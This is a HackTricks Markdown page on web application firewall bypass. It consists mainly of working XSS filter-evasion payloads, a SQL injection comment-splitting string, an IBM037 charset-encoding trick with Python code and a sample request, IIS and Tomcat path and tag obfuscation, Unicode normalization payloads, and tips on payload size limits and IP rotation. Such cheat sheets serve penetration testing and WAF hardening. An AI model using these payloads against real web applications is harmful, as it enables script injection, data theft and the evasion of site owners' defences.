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106 lines
5.7 KiB
Markdown
106 lines
5.7 KiB
Markdown
# WAF Bypass
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Other ways to support HackTricks:
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* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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## Regex Bypasses
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Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
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```bash
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<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
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<<script>alert(XSS)</script> #prepending an additional "<"
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<script>alert(XSS) // #removing the closing tag
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<script>alert`XSS`</script> #using backticks instead of parenetheses
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java%0ascript:alert(1) #using encoded newline characters
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<iframe src=http://malicous.com < #double open angle brackets
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<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
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<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
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<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
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Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
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javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
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<iframe src="javascript:alert(`xss`)"> #unicode encoding
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/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
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new Function`alt\`6\``; #using backticks instead of parentheses
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data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
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%26%2397;lert(1) #using HTML encoding
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<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
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<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
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```
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## Charset Encoding
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```bash
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# Charset encoding
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application/x-www-form-urlencoded;charset=ibm037
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multipart/form-data; charset=ibm037,boundary=blah
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multipart/form-data; boundary=blah; charset=ibm037
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##Python code
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import urllib
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s = 'payload'
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print(urllib.parse.quote_plus(s.encode("IBM037")))
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## Request example
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GET / HTTP/1.1
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Host: buggy
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Content-Type: application/x-www-form-urlencoded; charset=ibm500
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Content-Length: 61
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%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
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```
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## Obfuscation
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```bash
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# IIS, ASP Clasic
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<%s%cr%u0131pt> == <script>
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# Path blacklist bypass - Tomcat
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/path1/path2/ == ;/path1;foo/path2;bar/;
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```
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## Unicode Compatability
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Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode)
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### Example
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```bash
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# under the NFKD normalization algorithm, the characters on the left translate
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# to the XSS payload on the right
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<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
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```
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## Exceeding Size Limitations
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It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.
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### IP Rotation
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* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
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<details>
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<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
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Other ways to support HackTricks:
|
||
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||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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